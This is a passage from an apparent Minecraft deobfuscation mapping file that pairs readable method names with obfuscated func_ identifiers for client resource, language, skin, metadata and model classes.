(Lnet/minecraft/util/ResourceLocation;)Z net/minecraft/client/resources/IResourcePack/func_110589_b (Lnet/minecraft/util/ResourceLocation;)Z +MD: net/minecraft/client/resources/IResourcePack/getResourceDomains ()Ljava/util/Set; net/minecraft/client/resources/IResourcePack/func_110587_b ()Ljava/util/Set; +MD: net/minecraft/client/resources/ResourcePackRepository$1/accept (Ljava/io/File;)Z net/minecraft/client/resources/ResourcePackRepository$1/accept (Ljava/io/File;)Z +MD: net/minecraft/client/resources/ResourcePackRepository$2/run ()V net/minecraft/client/resources/ResourcePackRepository$2/run ()V +MD: net/minecraft/client/resources/ResourcePackRepository$3/onFailure (Ljava/lang/Throwable;)V net/minecraft/client/resources/ResourcePackRepository$3/onFailure (Ljava/lang/Throwable;)V +MD: net/minecraft/client/resources/ResourcePackRepository$3/onSuccess (Ljava/lang/Object;)V net/minecraft/client/resources/ResourcePackRepository$3/onSuccess (Ljava/lang/Object;)V +MD: net/minecraft/client/resources/ResourcePackRepository$Entry/updateResourcePack ()V net/minecraft/client/resources/ResourcePackRepository$Entry/func_110516_a ()V +MD: net/minecraft/client/resources/ResourcePackRepository$Entry/bindTexturePackIcon (Lnet/minecraft/client/renderer/texture/TextureManager;)V net/minecraft/client/resources/ResourcePackRepository$Entry/func_110518_a (Lnet/minecraft/client/renderer/texture/TextureManager;)V +MD: net/minecraft/client/resources/ResourcePackRepository$Entry/closeResourcePack ()V net/minecraft/client/resources/ResourcePackRepository$Entry/func_110517_b ()V +MD: net/minecraft/client/resources/ResourcePackRepository$Entry/getResourcePack ()Lnet/minecraft/client/resources/IResourcePack; net/minecraft/client/resources/ResourcePackRepository$Entry/func_110514_c ()Lnet/minecraft/client/resources/IResourcePack; +MD: net/minecraft/client/resources/ResourcePackRepository$Entry/getResourcePackName ()Ljava/lang/String; net/minecraft/client/resources/ResourcePackRepository$Entry/func_110515_d ()Ljava/lang/String; +MD: net/minecraft/client/resources/ResourcePackRepository$Entry/getTexturePackDescription ()Ljava/lang/String; net/minecraft/client/resources/ResourcePackRepository$Entry/func_110519_e ()Ljava/lang/String; +MD: net/minecraft/client/resources/ResourcePackRepository$Entry/equals (Ljava/lang/Object;)Z net/minecraft/client/resources/ResourcePackRepository$Entry/equals (Ljava/lang/Object;)Z +MD: net/minecraft/client/resources/ResourcePackRepository$Entry/func_183027_f ()I net/minecraft/client/resources/ResourcePackRepository$Entry/func_183027_f ()I +MD: net/minecraft/client/resources/ResourcePackRepository$Entry/hashCode ()I net/minecraft/client/resources/ResourcePackRepository$Entry/hashCode ()I +MD: net/minecraft/client/resources/ResourcePackRepository$Entry/toString ()Ljava/lang/String; net/minecraft/client/resources/ResourcePackRepository$Entry/toString ()Ljava/lang/String; +MD: net/minecraft/client/resources/ResourcePackRepository/updateRepositoryEntriesAll ()V net/minecraft/client/resources/ResourcePackRepository/func_110611_a ()V +MD: net/minecraft/client/resources/ResourcePackRepository/setResourcePackInstance (Ljava/io/File;)Lcom/google/common/util/concurrent/ListenableFuture; net/minecraft/client/resources/ResourcePackRepository/func_177319_a (Ljava/io/File;)Lcom/google/common/util/concurrent/ListenableFuture; +MD: net/minecraft/client/resources/ResourcePackRepository/downloadResourcePack (Ljava/lang/String;Ljava/lang/String;)Lcom/google/common/util/concurrent/ListenableFuture; net/minecraft/client/resources/ResourcePackRepository/func_180601_a (Ljava/lang/String;Ljava/lang/String;)Lcom/google/common/util/concurrent/ListenableFuture; +MD: net/minecraft/client/resources/ResourcePackRepository/setRepositories (Ljava/util/List;)V net/minecraft/client/resources/ResourcePackRepository/func_148527_a (Ljava/util/List;)V +MD: net/minecraft/client/resources/ResourcePackRepository/getRepositoryEntriesAll ()Ljava/util/List; net/minecraft/client/resources/ResourcePackRepository/func_110609_b ()Ljava/util/List; +MD: net/minecraft/client/resources/ResourcePackRepository/getRepositoryEntries ()Ljava/util/List; net/minecraft/client/resources/ResourcePackRepository/func_110613_c ()Ljava/util/List; +MD: net/minecraft/client/resources/ResourcePackRepository/getDirResourcepacks ()Ljava/io/File; net/minecraft/client/resources/ResourcePackRepository/func_110612_e ()Ljava/io/File; +MD: net/minecraft/client/resources/ResourcePackRepository/getResourcePackInstance ()Lnet/minecraft/client/resources/IResourcePack; net/minecraft/client/resources/ResourcePackRepository/func_148530_e ()Lnet/minecraft/client/resources/IResourcePack; +MD: net/minecraft/client/resources/ResourcePackRepository/clearResourcePack ()V net/minecraft/client/resources/ResourcePackRepository/func_148529_f ()V +MD: net/minecraft/client/resources/ResourcePackRepository/fixDirResourcepacks ()V net/minecraft/client/resources/ResourcePackRepository/func_110616_f ()V +MD: net/minecraft/client/resources/ResourcePackRepository/getResourcePackFiles ()Ljava/util/List; net/minecraft/client/resources/ResourcePackRepository/func_110614_g ()Ljava/util/List; +MD: net/minecraft/client/resources/ResourcePackRepository/deleteOldServerResourcesPacks ()V net/minecraft/client/resources/ResourcePackRepository/func_183028_i ()V +MD: net/minecraft/client/resources/SimpleReloadableResourceManager$1/apply (Lnet/minecraft/client/resources/IResourcePack;)Ljava/lang/String; net/minecraft/client/resources/SimpleReloadableResourceManager$1/apply (Lnet/minecraft/client/resources/IResourcePack;)Ljava/lang/String; +MD: net/minecraft/client/resources/SimpleReloadableResourceManager$1/apply (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/client/resources/SimpleReloadableResourceManager$1/apply (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/client/resources/SimpleReloadableResourceManager/getResourceDomains ()Ljava/util/Set; net/minecraft/client/resources/SimpleReloadableResourceManager/func_135055_a ()Ljava/util/Set; +MD: net/minecraft/client/resources/SimpleReloadableResourceManager/registerReloadListener (Lnet/minecraft/client/resources/IResourceManagerReloadListener;)V net/minecraft/client/resources/SimpleReloadableResourceManager/func_110542_a (Lnet/minecraft/client/resources/IResourceManagerReloadListener;)V +MD: net/minecraft/client/resources/SimpleReloadableResourceManager/reloadResourcePack (Lnet/minecraft/client/resources/IResourcePack;)V net/minecraft/client/resources/SimpleReloadableResourceManager/func_110545_a (Lnet/minecraft/client/resources/IResourcePack;)V +MD: net/minecraft/client/resources/SimpleReloadableResourceManager/reloadResources (Ljava/util/List;)V net/minecraft/client/resources/SimpleReloadableResourceManager/func_110541_a (Ljava/util/List;)V +MD: net/minecraft/client/resources/SimpleReloadableResourceManager/getResource (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/client/resources/IResource; net/minecraft/client/resources/SimpleReloadableResourceManager/func_110536_a (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/client/resources/IResource; +MD: net/minecraft/client/resources/SimpleReloadableResourceManager/clearResources ()V net/minecraft/client/resources/SimpleReloadableResourceManager/func_110543_a ()V +MD: net/minecraft/client/resources/SimpleReloadableResourceManager/getAllResources (Lnet/minecraft/util/ResourceLocation;)Ljava/util/List; net/minecraft/client/resources/SimpleReloadableResourceManager/func_135056_b (Lnet/minecraft/util/ResourceLocation;)Ljava/util/List; +MD: net/minecraft/client/resources/SimpleReloadableResourceManager/notifyReloadListeners ()V net/minecraft/client/resources/SimpleReloadableResourceManager/func_110544_b ()V +MD: net/minecraft/client/resources/SimpleResource/getResourceLocation ()Lnet/minecraft/util/ResourceLocation; net/minecraft/client/resources/SimpleResource/func_177241_a ()Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/resources/SimpleResource/getMetadata (Ljava/lang/String;)Lnet/minecraft/client/resources/data/IMetadataSection; net/minecraft/client/resources/SimpleResource/func_110526_a (Ljava/lang/String;)Lnet/minecraft/client/resources/data/IMetadataSection; +MD: net/minecraft/client/resources/SimpleResource/getInputStream ()Ljava/io/InputStream; net/minecraft/client/resources/SimpleResource/func_110527_b ()Ljava/io/InputStream; +MD: net/minecraft/client/resources/SimpleResource/hasMetadata ()Z net/minecraft/client/resources/SimpleResource/func_110528_c ()Z +MD: net/minecraft/client/resources/SimpleResource/getResourcePackName ()Ljava/lang/String; net/minecraft/client/resources/SimpleResource/func_177240_d ()Ljava/lang/String; +MD: net/minecraft/client/resources/SimpleResource/equals (Ljava/lang/Object;)Z net/minecraft/client/resources/SimpleResource/equals (Ljava/lang/Object;)Z +MD: net/minecraft/client/resources/SimpleResource/hashCode ()I net/minecraft/client/resources/SimpleResource/hashCode ()I +MD: net/minecraft/client/resources/SkinManager$1/load (Lcom/mojang/authlib/GameProfile;)Ljava/util/Map; net/minecraft/client/resources/SkinManager$1/load (Lcom/mojang/authlib/GameProfile;)Ljava/util/Map; +MD: net/minecraft/client/resources/SkinManager$1/load (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/client/resources/SkinManager$1/load (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/client/resources/SkinManager$2/skinAvailable ()V net/minecraft/client/resources/SkinManager$2/func_152634_a ()V +MD: net/minecraft/client/resources/SkinManager$2/parseUserSkin (Ljava/awt/image/BufferedImage;)Ljava/awt/image/BufferedImage; net/minecraft/client/resources/SkinManager$2/func_78432_a (Ljava/awt/image/BufferedImage;)Ljava/awt/image/BufferedImage; +MD: net/minecraft/client/resources/SkinManager$3$1/run ()V net/minecraft/client/resources/SkinManager$3$1/run ()V +MD: net/minecraft/client/resources/SkinManager$3/run ()V net/minecraft/client/resources/SkinManager$3/run ()V +MD: net/minecraft/client/resources/SkinManager$SkinAvailableCallback/skinAvailable (Lcom/mojang/authlib/minecraft/MinecraftProfileTexture$Type;Lnet/minecraft/util/ResourceLocation;Lcom/mojang/authlib/minecraft/MinecraftProfileTexture;)V net/minecraft/client/resources/SkinManager$SkinAvailableCallback/func_180521_a (Lcom/mojang/authlib/minecraft/MinecraftProfileTexture$Type;Lnet/minecraft/util/ResourceLocation;Lcom/mojang/authlib/minecraft/MinecraftProfileTexture;)V +MD: net/minecraft/client/resources/SkinManager/access$000 (Lnet/minecraft/client/resources/SkinManager;)Lcom/mojang/authlib/minecraft/MinecraftSessionService; net/minecraft/client/resources/SkinManager/access$000 (Lnet/minecraft/client/resources/SkinManager;)Lcom/mojang/authlib/minecraft/MinecraftSessionService; +MD: net/minecraft/client/resources/SkinManager/loadSkinFromCache (Lcom/mojang/authlib/GameProfile;)Ljava/util/Map; net/minecraft/client/resources/SkinManager/func_152788_a (Lcom/mojang/authlib/GameProfile;)Ljava/util/Map; +MD: net/minecraft/client/resources/SkinManager/loadProfileTextures (Lcom/mojang/authlib/GameProfile;Lnet/minecraft/client/resources/SkinManager$SkinAvailableCallback;Z)V net/minecraft/client/resources/SkinManager/func_152790_a (Lcom/mojang/authlib/GameProfile;Lnet/minecraft/client/resources/SkinManager$SkinAvailableCallback;Z)V +MD: net/minecraft/client/resources/SkinManager/loadSkin (Lcom/mojang/authlib/minecraft/MinecraftProfileTexture;Lcom/mojang/authlib/minecraft/MinecraftProfileTexture$Type;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/resources/SkinManager/func_152792_a (Lcom/mojang/authlib/minecraft/MinecraftProfileTexture;Lcom/mojang/authlib/minecraft/MinecraftProfileTexture$Type;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/resources/SkinManager/loadSkin (Lcom/mojang/authlib/minecraft/MinecraftProfileTexture;Lcom/mojang/authlib/minecraft/MinecraftProfileTexture$Type;Lnet/minecraft/client/resources/SkinManager$SkinAvailableCallback;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/resources/SkinManager/func_152789_a (Lcom/mojang/authlib/minecraft/MinecraftProfileTexture;Lcom/mojang/authlib/minecraft/MinecraftProfileTexture$Type;Lnet/minecraft/client/resources/SkinManager$SkinAvailableCallback;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/resources/I18n/setLocale (Lnet/minecraft/client/resources/Locale;)V net/minecraft/client/resources/I18n/func_135051_a (Lnet/minecraft/client/resources/Locale;)V +MD: net/minecraft/client/resources/I18n/format (Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; net/minecraft/client/resources/I18n/func_135052_a (Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; +MD: net/minecraft/client/resources/Language/getLanguageCode ()Ljava/lang/String; net/minecraft/client/resources/Language/func_135034_a ()Ljava/lang/String; +MD: net/minecraft/client/resources/Language/compareTo (Lnet/minecraft/client/resources/Language;)I net/minecraft/client/resources/Language/compareTo (Lnet/minecraft/client/resources/Language;)I +MD: net/minecraft/client/resources/Language/isBidirectional ()Z net/minecraft/client/resources/Language/func_135035_b ()Z +MD: net/minecraft/client/resources/Language/compareTo (Ljava/lang/Object;)I net/minecraft/client/resources/Language/compareTo (Ljava/lang/Object;)I +MD: net/minecraft/client/resources/Language/equals (Ljava/lang/Object;)Z net/minecraft/client/resources/Language/equals (Ljava/lang/Object;)Z +MD: net/minecraft/client/resources/Language/hashCode ()I net/minecraft/client/resources/Language/hashCode ()I +MD: net/minecraft/client/resources/Language/toString ()Ljava/lang/String; net/minecraft/client/resources/Language/toString ()Ljava/lang/String; +MD: net/minecraft/client/resources/LanguageManager/isCurrentLocaleUnicode ()Z net/minecraft/client/resources/LanguageManager/func_135042_a ()Z +MD: net/minecraft/client/resources/LanguageManager/onResourceManagerReload (Lnet/minecraft/client/resources/IResourceManager;)V net/minecraft/client/resources/LanguageManager/func_110549_a (Lnet/minecraft/client/resources/IResourceManager;)V +MD: net/minecraft/client/resources/LanguageManager/setCurrentLanguage (Lnet/minecraft/client/resources/Language;)V net/minecraft/client/resources/LanguageManager/func_135045_a (Lnet/minecraft/client/resources/Language;)V +MD: net/minecraft/client/resources/LanguageManager/parseLanguageMetadata (Ljava/util/List;)V net/minecraft/client/resources/LanguageManager/func_135043_a (Ljava/util/List;)V +MD: net/minecraft/client/resources/LanguageManager/isCurrentLanguageBidirectional ()Z net/minecraft/client/resources/LanguageManager/func_135044_b ()Z +MD: net/minecraft/client/resources/LanguageManager/getCurrentLanguage ()Lnet/minecraft/client/resources/Language; net/minecraft/client/resources/LanguageManager/func_135041_c ()Lnet/minecraft/client/resources/Language; +MD: net/minecraft/client/resources/LanguageManager/getLanguages ()Ljava/util/SortedSet; net/minecraft/client/resources/LanguageManager/func_135040_d ()Ljava/util/SortedSet; +MD: net/minecraft/client/resources/Locale/isUnicode ()Z net/minecraft/client/resources/Locale/func_135025_a ()Z +MD: net/minecraft/client/resources/Locale/loadLocaleDataFiles (Lnet/minecraft/client/resources/IResourceManager;Ljava/util/List;)V net/minecraft/client/resources/Locale/func_135022_a (Lnet/minecraft/client/resources/IResourceManager;Ljava/util/List;)V +MD: net/minecraft/client/resources/Locale/loadLocaleData (Ljava/io/InputStream;)V net/minecraft/client/resources/Locale/func_135021_a (Ljava/io/InputStream;)V +MD: net/minecraft/client/resources/Locale/formatMessage (Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; net/minecraft/client/resources/Locale/func_135023_a (Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; +MD: net/minecraft/client/resources/Locale/loadLocaleData (Ljava/util/List;)V net/minecraft/client/resources/Locale/func_135028_a (Ljava/util/List;)V +MD: net/minecraft/client/resources/Locale/checkUnicode ()V net/minecraft/client/resources/Locale/func_135024_b ()V +MD: net/minecraft/client/resources/Locale/translateKeyPrivate (Ljava/lang/String;)Ljava/lang/String; net/minecraft/client/resources/Locale/func_135026_c (Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/client/resources/data/IMetadataSectionSerializer/getSectionName ()Ljava/lang/String; net/minecraft/client/resources/data/IMetadataSectionSerializer/func_110483_a ()Ljava/lang/String; +MD: net/minecraft/client/resources/data/IMetadataSerializer/getGson ()Lcom/google/gson/Gson; net/minecraft/client/resources/data/IMetadataSerializer/func_110505_a ()Lcom/google/gson/Gson; +MD: net/minecraft/client/resources/data/IMetadataSerializer/registerMetadataSectionType (Lnet/minecraft/client/resources/data/IMetadataSectionSerializer;Ljava/lang/Class;)V net/minecraft/client/resources/data/IMetadataSerializer/func_110504_a (Lnet/minecraft/client/resources/data/IMetadataSectionSerializer;Ljava/lang/Class;)V +MD: net/minecraft/client/resources/data/IMetadataSerializer/parseMetadataSection (Ljava/lang/String;Lcom/google/gson/JsonObject;)Lnet/minecraft/client/resources/data/IMetadataSection; net/minecraft/client/resources/data/IMetadataSerializer/func_110503_a (Ljava/lang/String;Lcom/google/gson/JsonObject;)Lnet/minecraft/client/resources/data/IMetadataSection; +MD: net/minecraft/client/resources/data/AnimationFrame/hasNoTime ()Z net/minecraft/client/resources/data/AnimationFrame/func_110495_a ()Z +MD: net/minecraft/client/resources/data/AnimationFrame/getFrameTime ()I net/minecraft/client/resources/data/AnimationFrame/func_110497_b ()I +MD: net/minecraft/client/resources/data/AnimationFrame/getFrameIndex ()I net/minecraft/client/resources/data/AnimationFrame/func_110496_c ()I +MD: net/minecraft/client/resources/data/AnimationMetadataSection/getFrameHeight ()I net/minecraft/client/resources/data/AnimationMetadataSection/func_110471_a ()I +MD: net/minecraft/client/resources/data/AnimationMetadataSection/getFrameTimeSingle (I)I net/minecraft/client/resources/data/AnimationMetadataSection/func_110472_a (I)I +MD: net/minecraft/client/resources/data/AnimationMetadataSection/getFrameWidth ()I net/minecraft/client/resources/data/AnimationMetadataSection/func_110474_b ()I +MD: net/minecraft/client/resources/data/AnimationMetadataSection/frameHasTime (I)Z net/minecraft/client/resources/data/AnimationMetadataSection/func_110470_b (I)Z +MD: net/minecraft/client/resources/data/AnimationMetadataSection/getFrameCount ()I net/minecraft/client/resources/data/AnimationMetadataSection/func_110473_c ()I +MD: net/minecraft/client/resources/data/AnimationMetadataSection/getFrameIndex (I)I net/minecraft/client/resources/data/AnimationMetadataSection/func_110468_c (I)I +MD: net/minecraft/client/resources/data/AnimationMetadataSection/getFrameTime ()I net/minecraft/client/resources/data/AnimationMetadataSection/func_110469_d ()I +MD: net/minecraft/client/resources/data/AnimationMetadataSection/getAnimationFrame (I)Lnet/minecraft/client/resources/data/AnimationFrame; net/minecraft/client/resources/data/AnimationMetadataSection/func_130072_d (I)Lnet/minecraft/client/resources/data/AnimationFrame; +MD: net/minecraft/client/resources/data/AnimationMetadataSection/isInterpolate ()Z net/minecraft/client/resources/data/AnimationMetadataSection/func_177219_e ()Z +MD: net/minecraft/client/resources/data/AnimationMetadataSection/getFrameIndexSet ()Ljava/util/Set; net/minecraft/client/resources/data/AnimationMetadataSection/func_130073_e ()Ljava/util/Set; +MD: net/minecraft/client/resources/data/AnimationMetadataSectionSerializer/getSectionName ()Ljava/lang/String; net/minecraft/client/resources/data/AnimationMetadataSectionSerializer/func_110483_a ()Ljava/lang/String; +MD: net/minecraft/client/resources/data/AnimationMetadataSectionSerializer/parseAnimationFrame (ILcom/google/gson/JsonElement;)Lnet/minecraft/client/resources/data/AnimationFrame; net/minecraft/client/resources/data/AnimationMetadataSectionSerializer/func_110492_a (ILcom/google/gson/JsonElement;)Lnet/minecraft/client/resources/data/AnimationFrame; +MD: net/minecraft/client/resources/data/AnimationMetadataSectionSerializer/serialize (Lnet/minecraft/client/resources/data/AnimationMetadataSection;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; net/minecraft/client/resources/data/AnimationMetadataSectionSerializer/serialize (Lnet/minecraft/client/resources/data/AnimationMetadataSection;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; +MD: net/minecraft/client/resources/data/AnimationMetadataSectionSerializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/resources/data/AnimationMetadataSection; net/minecraft/client/resources/data/AnimationMetadataSectionSerializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/resources/data/AnimationMetadataSection; +MD: net/minecraft/client/resources/data/AnimationMetadataSectionSerializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; net/minecraft/client/resources/data/AnimationMetadataSectionSerializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; +MD: net/minecraft/client/resources/data/AnimationMetadataSectionSerializer/serialize (Ljava/lang/Object;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; net/minecraft/client/resources/data/AnimationMetadataSectionSerializer/serialize (Ljava/lang/Object;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; +MD: net/minecraft/client/resources/data/FontMetadataSectionSerializer/getSectionName ()Ljava/lang/String; net/minecraft/client/resources/data/FontMetadataSectionSerializer/func_110483_a ()Ljava/lang/String; +MD: net/minecraft/client/resources/data/FontMetadataSectionSerializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/resources/data/FontMetadataSection; net/minecraft/client/resources/data/FontMetadataSectionSerializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/resources/data/FontMetadataSection; +MD: net/minecraft/client/resources/data/FontMetadataSectionSerializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; net/minecraft/client/resources/data/FontMetadataSectionSerializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; +MD: net/minecraft/client/resources/data/LanguageMetadataSection/getLanguages ()Ljava/util/Collection; net/minecraft/client/resources/data/LanguageMetadataSection/func_135018_a ()Ljava/util/Collection; +MD: net/minecraft/client/resources/data/LanguageMetadataSectionSerializer/getSectionName ()Ljava/lang/String; net/minecraft/client/resources/data/LanguageMetadataSectionSerializer/func_110483_a ()Ljava/lang/String; +MD: net/minecraft/client/resources/data/LanguageMetadataSectionSerializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/resources/data/LanguageMetadataSection; net/minecraft/client/resources/data/LanguageMetadataSectionSerializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/resources/data/LanguageMetadataSection; +MD: net/minecraft/client/resources/data/LanguageMetadataSectionSerializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; net/minecraft/client/resources/data/LanguageMetadataSectionSerializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; +MD: net/minecraft/client/resources/data/PackMetadataSection/getPackDescription ()Lnet/minecraft/util/IChatComponent; net/minecraft/client/resources/data/PackMetadataSection/func_152805_a ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/client/resources/data/PackMetadataSection/getPackFormat ()I net/minecraft/client/resources/data/PackMetadataSection/func_110462_b ()I +MD: net/minecraft/client/resources/data/PackMetadataSectionSerializer/getSectionName ()Ljava/lang/String; net/minecraft/client/resources/data/PackMetadataSectionSerializer/func_110483_a ()Ljava/lang/String; +MD: net/minecraft/client/resources/data/PackMetadataSectionSerializer/serialize (Lnet/minecraft/client/resources/data/PackMetadataSection;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; net/minecraft/client/resources/data/PackMetadataSectionSerializer/serialize (Lnet/minecraft/client/resources/data/PackMetadataSection;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; +MD: net/minecraft/client/resources/data/PackMetadataSectionSerializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/resources/data/PackMetadataSection; net/minecraft/client/resources/data/PackMetadataSectionSerializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/resources/data/PackMetadataSection; +MD: net/minecraft/client/resources/data/PackMetadataSectionSerializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; net/minecraft/client/resources/data/PackMetadataSectionSerializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; +MD: net/minecraft/client/resources/data/PackMetadataSectionSerializer/serialize (Ljava/lang/Object;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; net/minecraft/client/resources/data/PackMetadataSectionSerializer/serialize (Ljava/lang/Object;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; +MD: net/minecraft/client/resources/data/TextureMetadataSection/getTextureBlur ()Z net/minecraft/client/resources/data/TextureMetadataSection/func_110479_a ()Z +MD: net/minecraft/client/resources/data/TextureMetadataSection/getTextureClamp ()Z net/minecraft/client/resources/data/TextureMetadataSection/func_110480_b ()Z +MD: net/minecraft/client/resources/data/TextureMetadataSection/getListMipmaps ()Ljava/util/List; net/minecraft/client/resources/data/TextureMetadataSection/func_148535_c ()Ljava/util/List; +MD: net/minecraft/client/resources/data/TextureMetadataSectionSerializer/getSectionName ()Ljava/lang/String; net/minecraft/client/resources/data/TextureMetadataSectionSerializer/func_110483_a ()Ljava/lang/String; +MD: net/minecraft/client/resources/data/TextureMetadataSectionSerializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/resources/data/TextureMetadataSection; net/minecraft/client/resources/data/TextureMetadataSectionSerializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/resources/data/TextureMetadataSection; +MD: net/minecraft/client/resources/data/TextureMetadataSectionSerializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; net/minecraft/client/resources/data/TextureMetadataSectionSerializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; +MD: net/minecraft/client/resources/model/IBakedModel/getGeneralQuads ()Ljava/util/List; net/minecraft/client/resources/model/IBakedModel/func_177550_a ()Ljava/util/List; +MD: net/minecraft/client/resources/model/IBakedModel/getFaceQuads (Lnet/minecraft/util/EnumFacing;)Ljava/util/List; net/minecraft/client/resources/model/IBakedModel/func_177551_a (Lnet/minecraft/util/EnumFacing;)Ljava/util/List; +MD: net/minecraft/client/resources/model/IBakedModel/isAmbientOcclusion ()Z net/minecraft/client/resources/model/IBakedModel/func_177555_b ()Z +MD: net/minecraft/client/resources/model/IBakedModel/isGui3d ()Z net/minecraft/client/resources/model/IBakedModel/func_177556_c ()Z +MD: net/minecraft/client/resources/model/IBakedModel/isBuiltInRenderer ()Z net/minecraft/client/resources/model/IBakedModel/func_177553_d ()Z +MD: net/minecraft/client/resources/model/IBakedModel/getParticleTexture ()Lnet/minecraft/client/renderer/texture/TextureAtlasSprite; net/minecraft/client/resources/model/IBakedModel/func_177554_e ()Lnet/minecraft/client/renderer/texture/TextureAtlasSprite; +MD: net/minecraft/client/resources/model/IBakedModel/getItemCameraTransforms ()Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms; net/minecraft/client/resources/model/IBakedModel/func_177552_f ()Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms; +MD: net/minecraft/client/resources/model/ModelRotation/getMatrix4d ()Lorg/lwjgl/util/vector/Matrix4f; net/minecraft/client/resources/model/ModelRotation/func_177525_a ()Lorg/lwjgl/util/vector/Matrix4f; +MD: net/minecraft/client/resources/model/ModelRotation/getModelRotation (II)Lnet/minecraft/client/resources/model/ModelRotation; net/minecraft/client/resources/model/ModelRotation/func_177524_a (II)Lnet/minecraft/client/resources/model/ModelRotation; +MD: net/minecraft/client/resources/model/ModelRotation/rotateFace (Lnet/minecraft/util/EnumFacing;)Lnet/minecraft/util/EnumFacing; net/minecraft/client/resources/model/ModelRotation/func_177523_a (Lnet/minecraft/util/EnumFacing;)Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/client/resources/model/ModelRotation/rotateVertex (Lnet/minecraft/util/EnumFacing;I)I net/minecraft/client/resources/model/ModelRotation/func_177520_a (Lnet/minecraft/util/EnumFacing;I)I +MD: net/minecraft/client/resources/model/ModelRotation/combineXY (II)I net/minecraft/client/resources/model/ModelRotation/func_177521_b (II)I +MD: net/minecraft/client/resources/model/ModelRotation/values ()[Lnet/minecraft/client/resources/model/ModelRotation; net/minecraft/client/resources/model/ModelRotation/values ()[Lnet/minecraft/client/resources/model/ModelRotation; +MD: net/minecraft/client/resources/model/BuiltInModel/getGeneralQuads ()Ljava/util/List; net/minecraft/client/resources/model/BuiltInModel/func_177550_a ()Ljava/util/List; +MD: net/minecraft/client/resources/model/BuiltInModel/getFaceQuads (Lnet/minecraft/util/EnumFacing;)Ljava/util/List; net/minecraft/client/resources/model/BuiltInModel/func_177551_a (Lnet/minecraft/util/EnumFacing;)Ljava/util/List; +MD: net/minecraft/client/resources/model/BuiltInModel/isAmbientOcclusion ()Z net/minecraft/client/resources/model/BuiltInModel/func_177555_b ()Z +MD: net/minecraft/client/resources/model/BuiltInModel/isGui3d ()Z 